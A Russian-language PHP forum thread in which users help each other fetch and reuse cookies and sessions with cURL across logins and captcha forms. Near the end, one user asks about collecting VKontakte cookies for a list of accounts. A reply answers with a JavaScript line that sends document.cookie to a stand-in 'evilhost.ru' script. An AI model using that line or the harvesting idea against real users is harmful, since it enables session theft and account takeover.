![]() |
Получить куки [php]
Здравствуйте.
Встала задача зайти на сайт 2раза при помощи PHP. В первый раp мне нужно зайти и получить какие-то данные, которые я смогу вписать при втором заходе. Тобиш куки или сессии. Каким образом это можно осуществить? Если можно, то выложите кусочек кода. |
Сессии
Цитата:
Цитата:
|
$lol = curl_init('http://mail.ru');
curl_setopt($lol, CURLOPT_RETURNTRANSFER, 1); curl_setopt($lol, CURLOPT_COOKIE,$cookie); $pol = curl_exec($lol); |
Cookies:
Цитата:
|
Код:
session_start(); |
2preda1or, скрипт отобразит инфу после релойда страницы, т.к сначала браузер получит куки, но не передаст на сервер :)
2остальным, не путайте сессии с cookie. Файлы сессий хранятся на сервере, а печеньки на стороне клиента. |
Цитата:
|
ТС спросил как получить, а не как написать скрипт который создает сессии или устанавливает куки. ТС куки приходят в заголовке SetCookie ответа после первого обращения к серверу. Прарсим заголовки, сохраняем установленные плюшки, дальше как написал 159932.
код примерно такой: PHP код:
Сервер плюшки обычно ставить только после каких либо действий, например авторизации. Для того, чтобы залогиниться нужно будет отправить POSTом (обчно это пост) логин и пасс (ну как минимум) в первом запросе. Тогда его код изменится на : PHP код:
|
Спс. И ещё вопросик, как можно сам код страницы курлами вытащить для дальнейшего поиска в нём строки? Если не сложно то выложите кусочек кода. Заранее спасибо
|
Ответ на вопрос здесь дал только .:nbd:., остальные чисто понты гоняют или вопрос плохо поняли)
Цитата:
|
спс, решил проверить
$res = curl_exec($ch1); echo $res; но не выводит почемуто код |
Встала такая похожая задача, не буду создавать новую тему.
Нужно зайти на сайт вывести с него капчу. Затем через пост, я ввожу капчу. Затем нужно что бы эта капча передалась на тот сайт. Т.е. мне не нужно терять сессию между вводом капчи. Как мне сделать таковое? |
Раз данный топик по теме как получить куки, подскажите пожалуйста каки образом можно осушествить что скрипт сам получил куки и записал их в фаил, нужно чтоб скрипт получил куки с Вконтакте, руками получается так когда авторизированы javascript:document.write(document.cookie) нужно чтоб ето сделал скрипт по списку аккаунтов собрал их куки. Заранее спасибо
|
lol100
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt"); |
lol100, ты вообще в курсах что такое куки как их готовят и едят?
Цитата:
Код:
document.location = 'http://evilhost.ru/evilscript.php?var=' + document.cookie |
| Время: 13:23 |